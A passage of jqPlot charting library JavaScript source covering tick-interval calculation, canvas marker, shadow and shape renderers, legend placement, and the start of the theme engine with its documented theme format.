else { return _factors[0] * 100; } }; // Given a fixed minimum and maximum and a target number ot ticks // figure out the best interval and // return min, max, number ticks, format string and tick interval function bestConstrainedInterval(min, max, nttarget) { // run through possible number to ticks and see which interval is best var low = Math.floor(nttarget/2); var hi = Math.ceil(nttarget*1.5); var badness = Number.MAX_VALUE; var r = (max - min); var temp; var sd; var bestNT; var gsf = $.jqplot.getSignificantFigures; var fsd; var fs; var currentNT; var bestPrec; for (var i=0, l=hi-low+1; i<l; i++) { currentNT = low + i; temp = r/(currentNT-1); sd = gsf(temp); temp = Math.abs(nttarget - currentNT) + sd.digitsRight; if (temp < badness) { badness = temp; bestNT = currentNT; bestPrec = sd.digitsRight; } else if (temp === badness) { // let nicer ticks trump number ot ticks if (sd.digitsRight < bestPrec) { bestNT = currentNT; bestPrec = sd.digitsRight; } } } fsd = Math.max(bestPrec, Math.max(gsf(min).digitsRight, gsf(max).digitsRight)); if (fsd === 0) { fs = '%d'; } else { fs = '%.' + fsd + 'f'; } temp = r / (bestNT - 1); // min, max, number ticks, format string, tick interval return [min, max, bestNT, fs, temp]; } // This will return an interval of form 2 * 10^n, 5 * 10^n or 10 * 10^n // it is based soley on the range and number of ticks. So if user specifies // number of ticks, use this. function bestInterval(range, numberTicks) { numberTicks = numberTicks || 7; var minimum = range / (numberTicks - 1); var magnitude = Math.pow(10, Math.floor(Math.log(minimum) / Math.LN10)); var residual = minimum / magnitude; var interval; // "nicest" ranges are 1, 2, 5 or powers of these. // for magnitudes below 1, only allow these. if (magnitude < 1) { if (residual > 5) { interval = 10 * magnitude; } else if (residual > 2) { interval = 5 * magnitude; } else if (residual > 1) { interval = 2 * magnitude; } else { interval = magnitude; } } // for large ranges (whole integers), allow intervals like 3, 4 or powers of these. // this helps a lot with poor choices for number of ticks. else { if (residual > 5) { interval = 10 * magnitude; } else if (residual > 4) { interval = 5 * magnitude; } else if (residual > 3) { interval = 4 * magnitude; } else if (residual > 2) { interval = 3 * magnitude; } else if (residual > 1) { interval = 2 * magnitude; } else { interval = magnitude; } } return interval; } // This will return an interval of form 2 * 10^n, 5 * 10^n or 10 * 10^n // it is based soley on the range of data, number of ticks must be computed later. function bestLinearInterval(range, scalefact) { scalefact = scalefact || 1; var expv = Math.floor(Math.log(range)/Math.LN10); var magnitude = Math.pow(10, expv); // 0 < f < 10 var f = range / magnitude; var fact; // for large plots, scalefact will decrease f and increase number of ticks. // for small plots, scalefact will increase f and decrease number of ticks. f = f/scalefact; // for large plots, smaller interval, more ticks. if (f<=0.38) { fact = 0.1; } else if (f<=1.6) { fact = 0.2; } else if (f<=4.0) { fact = 0.5; } else if (f<=8.0) { fact = 1.0; } // for very small plots, larger interval, less ticks in number ticks else if (f<=16.0) { fact = 2; } else { fact = 5; } return fact*magnitude; } function bestLinearComponents(range, scalefact) { var expv = Math.floor(Math.log(range)/Math.LN10); var magnitude = Math.pow(10, expv); // 0 < f < 10 var f = range / magnitude; var interval; var fact; // for large plots, scalefact will decrease f and increase number of ticks. // for small plots, scalefact will increase f and decrease number of ticks. f = f/scalefact; // for large plots, smaller interval, more ticks. if (f<=0.38) { fact = 0.1; } else if (f<=1.6) { fact = 0.2; } else if (f<=4.0) { fact = 0.5; } else if (f<=8.0) { fact = 1.0; } // for very small plots, larger interval, less ticks in number ticks else if (f<=16.0) { fact = 2; } // else if (f<=20.0) { // fact = 3; // } // else if (f<=24.0) { // fact = 4; // } else { fact = 5; } interval = fact * magnitude; return [interval, fact, magnitude]; } // Given the min and max for a dataset, return suitable endpoints // for the graphing, a good number for the number of ticks, and a // format string so that extraneous digits are not displayed. // returned is an array containing [min, max, nTicks, format] $.jqplot.LinearTickGenerator = function(axis_min, axis_max, scalefact, numberTicks, keepMin, keepMax) { // Set to preserve EITHER min OR max. // If min is preserved, max must be free. keepMin = (keepMin === null) ? false : keepMin; keepMax = (keepMax === null || keepMin) ? false : keepMax; // if endpoints are equal try to include zero otherwise include one if (axis_min === axis_max) { axis_max = (axis_max) ? 0 : 1; } scalefact = scalefact || 1.0; // make sure range is positive if (axis_max < axis_min) { var a = axis_max; axis_max = axis_min; axis_min = a; } var r = []; var ss = bestLinearInterval(axis_max - axis_min, scalefact); var gsf = $.jqplot.getSignificantFigures; if (numberTicks == null) { // Figure out the axis min, max and number of ticks // the min and max will be some multiple of the tick interval, // 1*10^n, 2*10^n or 5*10^n. This gaurantees that, if the // axis min is negative, 0 will be a tick. if (!keepMin && !keepMax) { r[0] = Math.floor(axis_min / ss) * ss; // min r[1] = Math.ceil(axis_max / ss) * ss; // max r[2] = Math.round((r[1]-r[0])/ss+1.0); // number of ticks r[3] = bestFormatString(ss); // format string r[4] = ss; // tick Interval } else if (keepMin) { r[0] = axis_min; // min r[2] = Math.ceil((axis_max - axis_min) / ss + 1.0); // number of ticks r[1] = axis_min + (r[2] - 1) * ss; // max var digitsMin = gsf(axis_min).digitsRight; var digitsSS = gsf(ss).digitsRight; if (digitsMin < digitsSS) { r[3] = bestFormatString(ss); // format string } else { r[3] = '%.' + digitsMin + 'f'; } r[4] = ss; // tick Interval } else if (keepMax) { r[1] = axis_max; // max r[2] = Math.ceil((axis_max - axis_min) / ss + 1.0); // number of ticks r[0] = axis_max - (r[2] - 1) * ss; // min var digitsMax = gsf(axis_max).digitsRight; var digitsSS = gsf(ss).digitsRight; if (digitsMax < digitsSS) { r[3] = bestFormatString(ss); // format string } else { r[3] = '%.' + digitsMax + 'f'; } r[4] = ss; // tick Interval } } else { var tempr = []; // Figure out the axis min, max and number of ticks // the min and max will be some multiple of the tick interval, // 1*10^n, 2*10^n or 5*10^n. This gaurantees that, if the // axis min is negative, 0 will be a tick. tempr[0] = Math.floor(axis_min / ss) * ss; // min tempr[1] = Math.ceil(axis_max / ss) * ss; // max tempr[2] = Math.round((tempr[1]-tempr[0])/ss+1.0); // number of ticks tempr[3] = bestFormatString(ss); // format string tempr[4] = ss; // tick Interval // first, see if we happen to get the right number of ticks if (tempr[2] === numberTicks) { r = tempr; } else { var newti = bestInterval(tempr[1] - tempr[0], numberTicks); r[0] = tempr[0]; // min r[2] = numberTicks; // number of ticks r[4] = newti; // tick interval r[3] = bestFormatString(newti); // format string r[1] = r[0] + (r[2] - 1) * r[4]; // max } } return r; }; $.jqplot.LinearTickGenerator.bestLinearInterval = bestLinearInterval; $.jqplot.LinearTickGenerator.bestInterval = bestInterval; $.jqplot.LinearTickGenerator.bestLinearComponents = bestLinearComponents; $.jqplot.LinearTickGenerator.bestConstrainedInterval = bestConstrainedInterval; // class: $.jqplot.MarkerRenderer // The default jqPlot marker renderer, rendering the points on the line. $.jqplot.MarkerRenderer = function(options){ // Group: Properties // prop: show // whether or not to show the marker. this.show = true; // prop: style // One of diamond, circle, square, x, plus, dash, filledDiamond, filledCircle, filledSquare this.style = 'filledCircle'; // prop: lineWidth // size of the line for non-filled markers. this.lineWidth = 2; // prop: size // Size of the marker (diameter or circle, length of edge of square, etc.) this.size = 9.0; // prop: color // color of marker. Will be set to color of series by default on init. this.color = '#666666'; // prop: shadow // whether or not to draw a shadow on the line this.shadow = true; // prop: shadowAngle // Shadow angle in degrees this.shadowAngle = 45; // prop: shadowOffset // Shadow offset from line in pixels this.shadowOffset = 1; // prop: shadowDepth // Number of times shadow is stroked, each stroke offset shadowOffset from the last. this.shadowDepth = 3; // prop: shadowAlpha // Alpha channel transparency of shadow. 0 = transparent. this.shadowAlpha = '0.07'; // prop: shadowRenderer // Renderer that will draws the shadows on the marker. this.shadowRenderer = new $.jqplot.ShadowRenderer(); // prop: shapeRenderer // Renderer that will draw the marker. this.shapeRenderer = new $.jqplot.ShapeRenderer(); $.extend(true, this, options); }; $.jqplot.MarkerRenderer.prototype.init = function(options) { $.extend(true, this, options); var sdopt = {angle:this.shadowAngle, offset:this.shadowOffset, alpha:this.shadowAlpha, lineWidth:this.lineWidth, depth:this.shadowDepth, closePath:true}; if (this.style.indexOf('filled') != -1) { sdopt.fill = true; } if (this.style.indexOf('ircle') != -1) { sdopt.isarc = true; sdopt.closePath = false; } this.shadowRenderer.init(sdopt); var shopt = {fill:false, isarc:false, strokeStyle:this.color, fillStyle:this.color, lineWidth:this.lineWidth, closePath:true}; if (this.style.indexOf('filled') != -1) { shopt.fill = true; } if (this.style.indexOf('ircle') != -1) { shopt.isarc = true; shopt.closePath = false; } this.shapeRenderer.init(shopt); }; $.jqplot.MarkerRenderer.prototype.drawDiamond = function(x, y, ctx, fill, options) { var stretch = 1.2; var dx = this.size/2/stretch; var dy = this.size/2*stretch; var points = [[x-dx, y], [x, y+dy], [x+dx, y], [x, y-dy]]; if (this.shadow) { this.shadowRenderer.draw(ctx, points); } this.shapeRenderer.draw(ctx, points, options); }; $.jqplot.MarkerRenderer.prototype.drawPlus = function(x, y, ctx, fill, options) { var stretch = 1.0; var dx = this.size/2*stretch; var dy = this.size/2*stretch; var points1 = [[x, y-dy], [x, y+dy]]; var points2 = [[x+dx, y], [x-dx, y]]; var opts = $.extend(true, {}, this.options, {closePath:false}); if (this.shadow) { this.shadowRenderer.draw(ctx, points1, {closePath:false}); this.shadowRenderer.draw(ctx, points2, {closePath:false}); } this.shapeRenderer.draw(ctx, points1, opts); this.shapeRenderer.draw(ctx, points2, opts); }; $.jqplot.MarkerRenderer.prototype.drawX = function(x, y, ctx, fill, options) { var stretch = 1.0; var dx = this.size/2*stretch; var dy = this.size/2*stretch; var opts = $.extend(true, {}, this.options, {closePath:false}); var points1 = [[x-dx, y-dy], [x+dx, y+dy]]; var points2 = [[x-dx, y+dy], [x+dx, y-dy]]; if (this.shadow) { this.shadowRenderer.draw(ctx, points1, {closePath:false}); this.shadowRenderer.draw(ctx, points2, {closePath:false}); } this.shapeRenderer.draw(ctx, points1, opts); this.shapeRenderer.draw(ctx, points2, opts); }; $.jqplot.MarkerRenderer.prototype.drawDash = function(x, y, ctx, fill, options) { var stretch = 1.0; var dx = this.size/2*stretch; var dy = this.size/2*stretch; var points = [[x-dx, y], [x+dx, y]]; if (this.shadow) { this.shadowRenderer.draw(ctx, points); } this.shapeRenderer.draw(ctx, points, options); }; $.jqplot.MarkerRenderer.prototype.drawLine = function(p1, p2, ctx, fill, options) { var points = [p1, p2]; if (this.shadow) { this.shadowRenderer.draw(ctx, points); } this.shapeRenderer.draw(ctx, points, options); }; $.jqplot.MarkerRenderer.prototype.drawSquare = function(x, y, ctx, fill, options) { var stretch = 1.0; var dx = this.size/2/stretch; var dy = this.size/2*stretch; var points = [[x-dx, y-dy], [x-dx, y+dy], [x+dx, y+dy], [x+dx, y-dy]]; if (this.shadow) { this.shadowRenderer.draw(ctx, points); } this.shapeRenderer.draw(ctx, points, options); }; $.jqplot.MarkerRenderer.prototype.drawCircle = function(x, y, ctx, fill, options) { var radius = this.size/2; var end = 2*Math.PI; var points = [x, y, radius, 0, end, true]; if (this.shadow) { this.shadowRenderer.draw(ctx, points); } this.shapeRenderer.draw(ctx, points, options); }; $.jqplot.MarkerRenderer.prototype.draw = function(x, y, ctx, options) { options = options || {}; // hack here b/c shape renderer uses canvas based color style options // and marker uses css style names. if (options.show == null || options.show != false) { if (options.color && !options.fillStyle) { options.fillStyle = options.color; } if (options.color && !options.strokeStyle) { options.strokeStyle = options.color; } switch (this.style) { case 'diamond': this.drawDiamond(x,y,ctx, false, options); break; case 'filledDiamond': this.drawDiamond(x,y,ctx, true, options); break; case 'circle': this.drawCircle(x,y,ctx, false, options); break; case 'filledCircle': this.drawCircle(x,y,ctx, true, options); break; case 'square': this.drawSquare(x,y,ctx, false, options); break; case 'filledSquare': this.drawSquare(x,y,ctx, true, options); break; case 'x': this.drawX(x,y,ctx, true, options); break; case 'plus': this.drawPlus(x,y,ctx, true, options); break; case 'dash': this.drawDash(x,y,ctx, true, options); break; case 'line': this.drawLine(x, y, ctx, false, options); break; default: this.drawDiamond(x,y,ctx, false, options); break; } } }; // class: $.jqplot.shadowRenderer // The default jqPlot shadow renderer, rendering shadows behind shapes. $.jqplot.ShadowRenderer = function(options){ // Group: Properties // prop: angle // Angle of the shadow in degrees. Measured counter-clockwise from the x axis. this.angle = 45; // prop: offset // Pixel offset at the given shadow angle of each shadow stroke from the last stroke. this.offset = 1; // prop: alpha // alpha transparency of shadow stroke. this.alpha = 0.07; // prop: lineWidth // width of the shadow line stroke. this.lineWidth = 1.5; // prop: lineJoin // How line segments of the shadow are joined. this.lineJoin = 'miter'; // prop: lineCap // how ends of the shadow line are rendered. this.lineCap = 'round'; // prop; closePath // whether line path segment is closed upon itself. this.closePath = false; // prop: fill // whether to fill the shape. this.fill = false; // prop: depth // how many times the shadow is stroked. Each stroke will be offset by offset at angle degrees. this.depth = 3; this.strokeStyle = 'rgba(0,0,0,0.1)'; // prop: isarc // whether the shadow is an arc or not. this.isarc = false; $.extend(true, this, options); }; $.jqplot.ShadowRenderer.prototype.init = function(options) { $.extend(true, this, options); }; // function: draw // draws an transparent black (i.e. gray) shadow. // // ctx - canvas drawing context // points - array of points or [x, y, radius, start angle (rad), end angle (rad)] $.jqplot.ShadowRenderer.prototype.draw = function(ctx, points, options) { ctx.save(); var opts = (options != null) ? options : {}; var fill = (opts.fill != null) ? opts.fill : this.fill; var fillRect = (opts.fillRect != null) ? opts.fillRect : this.fillRect; var closePath = (opts.closePath != null) ? opts.closePath : this.closePath; var offset = (opts.offset != null) ? opts.offset : this.offset; var alpha = (opts.alpha != null) ? opts.alpha : this.alpha; var depth = (opts.depth != null) ? opts.depth : this.depth; var isarc = (opts.isarc != null) ? opts.isarc : this.isarc; var linePattern = (opts.linePattern != null) ? opts.linePattern : this.linePattern; ctx.lineWidth = (opts.lineWidth != null) ? opts.lineWidth : this.lineWidth; ctx.lineJoin = (opts.lineJoin != null) ? opts.lineJoin : this.lineJoin; ctx.lineCap = (opts.lineCap != null) ? opts.lineCap : this.lineCap; ctx.strokeStyle = opts.strokeStyle || this.strokeStyle || 'rgba(0,0,0,'+alpha+')'; ctx.fillStyle = opts.fillStyle || this.fillStyle || 'rgba(0,0,0,'+alpha+')'; for (var j=0; j<depth; j++) { var ctxPattern = $.jqplot.LinePattern(ctx, linePattern); ctx.translate(Math.cos(this.angle*Math.PI/180)*offset, Math.sin(this.angle*Math.PI/180)*offset); ctxPattern.beginPath(); if (isarc) { ctx.arc(points[0], points[1], points[2], points[3], points[4], true); } else if (fillRect) { if (fillRect) { ctx.fillRect(points[0], points[1], points[2], points[3]); } } else if (points && points.length){ var move = true; for (var i=0; i<points.length; i++) { // skip to the first non-null point and move to it. if (points[i][0] != null && points[i][1] != null) { if (move) { ctxPattern.moveTo(points[i][0], points[i][1]); move = false; } else { ctxPattern.lineTo(points[i][0], points[i][1]); } } else { move = true; } } } if (closePath) { ctxPattern.closePath(); } if (fill) { ctx.fill(); } else { ctx.stroke(); } } ctx.restore(); }; // class: $.jqplot.shapeRenderer // The default jqPlot shape renderer. Given a set of points will // plot them and either stroke a line (fill = false) or fill them (fill = true). // If a filled shape is desired, closePath = true must also be set to close // the shape. $.jqplot.ShapeRenderer = function(options){ this.lineWidth = 1.5; // prop: linePattern // line pattern 'dashed', 'dotted', 'solid', some combination // of '-' and '.' characters such as '.-.' or a numerical array like // [draw, skip, draw, skip, ...] such as [1, 10] to draw a dotted line, // [1, 10, 20, 10] to draw a dot-dash line, and so on. this.linePattern = 'solid'; // prop: lineJoin // How line segments of the shadow are joined. this.lineJoin = 'miter'; // prop: lineCap // how ends of the shadow line are rendered. this.lineCap = 'round'; // prop; closePath // whether line path segment is closed upon itself. this.closePath = false; // prop: fill // whether to fill the shape. this.fill = false; // prop: isarc // whether the shadow is an arc or not. this.isarc = false; // prop: fillRect // true to draw shape as a filled rectangle. this.fillRect = false; // prop: strokeRect // true to draw shape as a stroked rectangle. this.strokeRect = false; // prop: clearRect // true to cear a rectangle. this.clearRect = false; // prop: strokeStyle // css color spec for the stoke style this.strokeStyle = '#999999'; // prop: fillStyle // css color spec for the fill style. this.fillStyle = '#999999'; $.extend(true, this, options); }; $.jqplot.ShapeRenderer.prototype.init = function(options) { $.extend(true, this, options); }; // function: draw // draws the shape. // // ctx - canvas drawing context // points - array of points for shapes or // [x, y, width, height] for rectangles or // [x, y, radius, start angle (rad), end angle (rad)] for circles and arcs. $.jqplot.ShapeRenderer.prototype.draw = function(ctx, points, options) { ctx.save(); var opts = (options != null) ? options : {}; var fill = (opts.fill != null) ? opts.fill : this.fill; var closePath = (opts.closePath != null) ? opts.closePath : this.closePath; var fillRect = (opts.fillRect != null) ? opts.fillRect : this.fillRect; var strokeRect = (opts.strokeRect != null) ? opts.strokeRect : this.strokeRect; var clearRect = (opts.clearRect != null) ? opts.clearRect : this.clearRect; var isarc = (opts.isarc != null) ? opts.isarc : this.isarc; var linePattern = (opts.linePattern != null) ? opts.linePattern : this.linePattern; var ctxPattern = $.jqplot.LinePattern(ctx, linePattern); ctx.lineWidth = opts.lineWidth || this.lineWidth; ctx.lineJoin = opts.lineJoin || this.lineJoin; ctx.lineCap = opts.lineCap || this.lineCap; ctx.strokeStyle = (opts.strokeStyle || opts.color) || this.strokeStyle; ctx.fillStyle = opts.fillStyle || this.fillStyle; ctx.beginPath(); if (isarc) { ctx.arc(points[0], points[1], points[2], points[3], points[4], true); if (closePath) { ctx.closePath(); } if (fill) { ctx.fill(); } else { ctx.stroke(); } ctx.restore(); return; } else if (clearRect) { ctx.clearRect(points[0], points[1], points[2], points[3]); ctx.restore(); return; } else if (fillRect || strokeRect) { if (fillRect) { ctx.fillRect(points[0], points[1], points[2], points[3]); } if (strokeRect) { ctx.strokeRect(points[0], points[1], points[2], points[3]); ctx.restore(); return; } } else if (points && points.length){ var move = true; for (var i=0; i<points.length; i++) { // skip to the first non-null point and move to it. if (points[i][0] != null && points[i][1] != null) { if (move) { ctxPattern.moveTo(points[i][0], points[i][1]); move = false; } else { ctxPattern.lineTo(points[i][0], points[i][1]); } } else { move = true; } } if (closePath) { ctxPattern.closePath(); } if (fill) { ctx.fill(); } else { ctx.stroke(); } } ctx.restore(); }; // class $.jqplot.TableLegendRenderer // The default legend renderer for jqPlot. $.jqplot.TableLegendRenderer = function(){ // }; $.jqplot.TableLegendRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.TableLegendRenderer.prototype.addrow = function (label, color, pad, reverse) { var rs = (pad) ? this.rowSpacing+'px' : '0px'; var tr; var td; var elem; var div0; var div1; elem = document.createElement('tr'); tr = $(elem); tr.addClass('jqplot-table-legend'); elem = null; if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } if (this.showSwatches) { td = $(document.createElement('td')); td.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); tr.append(td.append(div0.append(div1))); // $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ // '<div><div class="jqplot-table-legend-swatch" style="background-color:'+color+';border-color:'+color+';"></div>'+ // '</div></td>').appendTo(tr); } if (this.showLabels) { td = $(document.createElement('td')); td.addClass('jqplot-table-legend jqplot-table-legend-label'); td.css('paddingTop', rs); tr.append(td); // elem = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); // elem.appendTo(tr); if (this.escapeHtml) { td.text(label); } else { td.html(label); } } td = null; div0 = null; div1 = null; tr = null; elem = null; }; // called with scope of legend $.jqplot.TableLegendRenderer.prototype.draw = function() { if (this._elem) { this._elem.emptyForce(); this._elem = null; } if (this.show) { var series = this._series; // make a table. one line label per row. var elem = document.createElement('table'); this._elem = $(elem); this._elem.addClass('jqplot-table-legend'); var ss = {position:'absolute'}; if (this.background) { ss['background'] = this.background; } if (this.border) { ss['border'] = this.border; } if (this.fontSize) { ss['fontSize'] = this.fontSize; } if (this.fontFamily) { ss['fontFamily'] = this.fontFamily; } if (this.textColor) { ss['textColor'] = this.textColor; } if (this.marginTop != null) { ss['marginTop'] = this.marginTop; } if (this.marginBottom != null) { ss['marginBottom'] = this.marginBottom; } if (this.marginLeft != null) { ss['marginLeft'] = this.marginLeft; } if (this.marginRight != null) { ss['marginRight'] = this.marginRight; } var pad = false, reverse = false, s; for (var i = 0; i< series.length; i++) { s = series[i]; if (s._stack || s.renderer.constructor == $.jqplot.BezierCurveRenderer){ reverse = true; } if (s.show && s.showLabel) { var lt = this.labels[i] || s.label.toString(); if (lt) { var color = s.color; if (reverse && i < series.length - 1){ pad = true; } else if (reverse && i == series.length - 1){ pad = false; } this.renderer.addrow.call(this, lt, color, pad, reverse); pad = true; } // let plugins add more rows to legend. Used by trend line plugin. for (var j=0; j<$.jqplot.addLegendRowHooks.length; j++) { var item = $.jqplot.addLegendRowHooks[j].call(this, s); if (item) { this.renderer.addrow.call(this, item.label, item.color, pad); pad = true; } } lt = null; } } } return this._elem; }; $.jqplot.TableLegendRenderer.prototype.pack = function(offsets) { if (this.show) { if (this.placement == 'insideGrid') { switch (this.location) { case 'nw': var a = offsets.left; var b = offsets.top; this._elem.css('left', a); this._elem.css('top', b); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = offsets.top; this._elem.css('left', a); this._elem.css('top', b); break; case 'ne': var a = offsets.right; var b = offsets.top; this._elem.css({right:a, top:b}); break; case 'e': var a = offsets.right; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:a, top:b}); break; case 'se': var a = offsets.right; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = offsets.bottom; this._elem.css({left:a, bottom:b}); break; case 'sw': var a = offsets.left; var b = offsets.bottom; this._elem.css({left:a, bottom:b}); break; case 'w': var a = offsets.left; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:a, top:b}); break; default: // same as 'se' var a = offsets.right; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; } } else if (this.placement == 'outside'){ switch (this.location) { case 'nw': var a = this._plotDimensions.width - offsets.left; var b = offsets.top; this._elem.css('right', a); this._elem.css('top', b); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = this._plotDimensions.height - offsets.top; this._elem.css('left', a); this._elem.css('bottom', b); break; case 'ne': var a = this._plotDimensions.width - offsets.right; var b = offsets.top; this._elem.css({left:a, top:b}); break; case 'e': var a = this._plotDimensions.width - offsets.right; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:a, top:b}); break; case 'se': var a = this._plotDimensions.width - offsets.right; var b = offsets.bottom; this._elem.css({left:a, bottom:b}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; var b = this._plotDimensions.height - offsets.bottom; this._elem.css({left:a, top:b}); break; case 'sw': var a = this._plotDimensions.width - offsets.left; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; case 'w': var a = this._plotDimensions.width - offsets.left; var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:a, top:b}); break; default: // same as 'se' var a = offsets.right; var b = offsets.bottom; this._elem.css({right:a, bottom:b}); break; } } else { switch (this.location) { case 'nw': this._elem.css({left:0, top:offsets.top}); break; case 'n': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; this._elem.css({left: a, top:offsets.top}); break; case 'ne': this._elem.css({right:0, top:offsets.top}); break; case 'e': var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({right:offsets.right, top:b}); break; case 'se': this._elem.css({right:offsets.right, bottom:offsets.bottom}); break; case 's': var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; this._elem.css({left: a, bottom:offsets.bottom}); break; case 'sw': this._elem.css({left:offsets.left, bottom:offsets.bottom}); break; case 'w': var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; this._elem.css({left:offsets.left, top:b}); break; default: // same as 'se' this._elem.css({right:offsets.right, bottom:offsets.bottom}); break; } } } }; /** * Class: $.jqplot.ThemeEngine * Theme Engine provides a programatic way to change some of the more * common jqplot styling options such as fonts, colors and grid options. * A theme engine instance is created with each plot. The theme engine * manages a collection of themes which can be modified, added to, or * applied to the plot. * * The themeEngine class is not instantiated directly. * When a plot is initialized, the current plot options are scanned * an a default theme named "Default" is created. This theme is * used as the basis for other themes added to the theme engine and * is always available. * * A theme is a simple javascript object with styling parameters for * various entities of the plot. A theme has the form: * * * > { * > _name:f "Default", * > target: { * > backgroundColor: "transparent" * > }, * > legend: { * > textColor: null, * > fontFamily: null, * > fontSize: null, * > border: null, * > background: null * > }, * > title: { * > textColor: "rgb(102, 102, 102)", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif", * > fontSize: "19.2px", * > textAlign: "center" * > }, * > seriesStyles: {}, * > series: [{ * > color: "#4bb2c5", * > lineWidth: 2.5, * > linePattern: "solid", * > shadow: true, * > fillColor: "#4bb2c5", * > showMarker: true, * > markerOptions: { * > color: "#4bb2c5", * > show: true, * > style: 'filledCircle', * > lineWidth: 1.5, * > size: 4, * > shadow: true * > } * > }], * > grid: { * > drawGridlines: true, * > gridLineColor: "#cccccc", * > gridLineWidth: 1, * > backgroundColor: "#fffdf6", * > borderColor: "#999999", * > borderWidth: 2, * > shadow: true * > }, * > axesStyles: { * > label: {}, * > ticks: {} * > }, * > axes: { * > xaxis: { * > borderColor: "#999999", * > borderWidth: 2, * > ticks: { * > show: true, * > showGridline: true, * > showLabel: true, * > showMark: true, * > size: 4, * > textColor: "", * > whiteSpace: "nowrap", * > fontSize: "12px", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif" * > }, * > label: { * > textColor: "rgb(102, 102, 102)", * > whiteSpace: "normal", * > fontSize: "14.6667px", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif", * > fontWeight: "400" * > } * > }, * > yaxis: { * > borderColor: "#999999", * > borderWidth: 2, * > ticks: { * > show: true, * > showGridline: true, * > showLabel: true, * > showMark: true, * > size: 4, * > textColor: "", * > whiteSpace: "nowrap", * > fontSize: "12px", * > fontFamily: "'Trebuchet MS',Arial,Helvetica,sans-serif" * > }, * > label: { * > textColor: null, * > whiteSpace: null, * > fontSize: null, * > fontFamily: null, * > fontWeight: null * > } * > }, * > x2axis: {... * > }, * > ... * > y9axis: {... * > } * > } * > } * * "seriesStyles" is a style object that will be applied to all series in the plot. * It will forcibly override any styles applied on the individual series. "axesStyles" is * a style object that will be applied to all axes in the plot. It will also forcibly * override any styles on the individual axes. * * The example shown above has series options for a line series. Options for other * series types are shown below: * * Bar Series: * * > { * > color: "#4bb2c5", * > seriesColors: ["#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], * > lineWidth: 2.5, * > shadow: true, * > barPadding: 2, * > barMargin: 10, * > barWidth: 15.09375, * > highlightColors: ["rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)", "rgb(129,201,214)"] * > } * * Pie Series: * * > { * > seriesColors: ["#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], * > padding: 20, * > sliceMargin: 0, * > fill: true, * > shadow: true, * > startAngle: 0, * > lineWidth: 2.5, * > highlightColors: ["rgb(129,201,214)", "rgb(240,189,104)", "rgb(214,202,165)", "rgb(137,180,158)", "rgb(168,180,137)", "rgb(180,174,89)", "rgb(180,113,161)", "rgb(129,141,236)", "rgb(227,205,120)", "rgb(255,138,76)", "rgb(76,169,219)", "rgb(215,126,190)", "rgb(220,232,135)", "rgb(200,167,96)", "rgb(103,202,235)", "rgb(208,154,215)"] * > } * * Funnel Series: * * > { * > color: "#4bb2c5", * > lineWidth: 2, * > shadow: true, * > padding: { * > top: 20, * > right: 20, * > bottom: 20, * > left: 20 * > }, * > sectionMargin: 6, * > seriesColors: ["#4bb2c5", "#EAA228", "#c5b47f", "#579575", "#839557", "#958c12", "#953579", "#4b5de4", "#d8b83f", "#ff5800", "#0085cc", "#c747a3", "#cddf54", "#FBD178", "#26B4E3", "#bd70c7"], * > highlightColors: ["rgb(147,208,220)", "rgb(242,199,126)", "rgb(220,210,178)", "rgb(154,191,172)", "rgb(180,191,154)", "rgb(191,186,112)", "rgb(191,133,174)", "rgb(147,157,238)", "rgb(231,212,139)", "rgb(255,154,102)", "rgb(102,181,224)", "rgb(221,144,199)", "rgb(225,235,152)", "rgb(200,167,96)", "rgb(124,210,238)", "rgb(215,169,221)"] * > } * */ $.jqplot.ThemeEngine = function(){ // Group: Properties // // prop: themes // hash of themes managed by the theme engine. // Indexed by theme name. this.themes = {}; // prop: activeTheme // Pointer to currently active theme this.activeTheme=null; }; // called with scope of plot $.jqplot.ThemeEngine.prototype.init = function() { // get the Default theme from the current plot settings. var th = new $.jqplot.Theme({_name:'Default'}); var n, i, nn; for (n in th.target) { if (n == "textColor") { th.target[n] = this.target.css('color'); } else { th.target[n] = this.target.css(n); } } if (this.title.show && this.title._elem) { for (n in th.title) { if (n == "textColor") { th.title[n] = 